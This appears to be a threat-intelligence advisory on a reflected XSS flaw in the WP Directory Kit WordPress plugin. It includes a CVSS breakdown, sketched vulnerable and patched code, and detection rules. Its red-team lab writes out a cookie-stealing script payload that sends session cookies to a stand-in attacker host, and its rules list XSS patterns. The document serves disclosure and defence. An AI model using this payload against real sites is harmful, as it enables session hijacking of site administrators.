CVE-2025-13525

Executive Summary

CVE-2025-13525 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the WP Directory Kit plugin for WordPress, up to and including version 1.4.5. The flaw resides in the order_by parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as medium severity (CVSS 6.1) and currently has no known public exploit or patch.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant if a privileged user is targeted.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the WordPress ecosystem. The order_by parameter is used by the WP Directory Kit plugin to sort directory listings. The plugin fails to properly sanitize user input and escape output when reflecting the parameter value back to the page. An attacker can inject arbitrary HTML and JavaScript by crafting a URL like:

https://example.com/wp-admin/admin.php?page=wpdirectorykit&order_by=<script>alert('XSS')</script>

When a user clicks this link, the injected script executes in the context of the WordPress admin panel. The attack is unauthenticated, meaning any visitor can be tricked, but the impact is greater if the victim has administrative privileges.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.4.5): The plugin likely uses something like:

$order_by = $_GET['order_by'];
echo "Ordering by: " . $order_by;

This directly outputs the user-supplied value without sanitization or escaping.

Patched Code (hypothetical): A secure version would use:

$order_by = sanitize_text_field($_GET['order_by']);
echo "Ordering by: " . esc_html($order_by);

Using sanitize_text_field() and esc_html() prevents script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with WP Directory Kit plugin version 1.4.5 on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Create a malicious URL:

   http://localhost/wp-admin/admin.php?page=wpdirectorykit&order_by=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Deliver: Send the link to a victim via email or social engineering.
4. Execute: When the victim clicks the link and is logged into WordPress, the script executes, sending their session cookie to the attacker's server.

Blue Team (Defense & Detection)

• Monitor Logs: Look for unusual order_by parameter values in web server logs.
• WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> or onerror= in the order_by parameter.
• User Training: Educate users not to click suspicious links, especially those containing query parameters.

Indicators of Compromise (IOCs)

• URL Pattern: Requests to /wp-admin/admin.php with page=wpdirectorykit and order_by containing <script>, onerror, alert, or other JavaScript event handlers.
• Log Entries: HTTP 200 responses to URLs with order_by parameter containing encoded or raw HTML/JavaScript.
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin panel.

Detection Engineering

YARA Rule

rule CVE_2025_13525_WP_Directory_Kit_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Directory Kit order_by parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13525"
    strings:
        $xss1 = /order_by=.*<script/i
        $xss2 = /order_by=.*onerror/i
        $xss3 = /order_by=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via WP Directory Kit order_by Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against WP Directory Kit plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "/wp-admin/admin.php?page=wpdirectorykit&order_by="
        cs-uri-query|contains:
            - "<script"
            - "onerror"
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of order_by with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13525 WP Directory Kit Reflected XSS"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page=wpdirectorykit"; http_uri; content:"order_by="; http_uri; pcre:"/(<script|onerror|alert\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the WP Directory Kit plugin until a patch is available.
2. Workaround: Use a Web Application Firewall (WAF) to block malicious order_by values.
3. User Awareness: Train users to avoid clicking suspicious links.
4. Monitor: Review web server logs for exploitation attempts.
5. Patch: Apply the official patch when released by the vendor.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.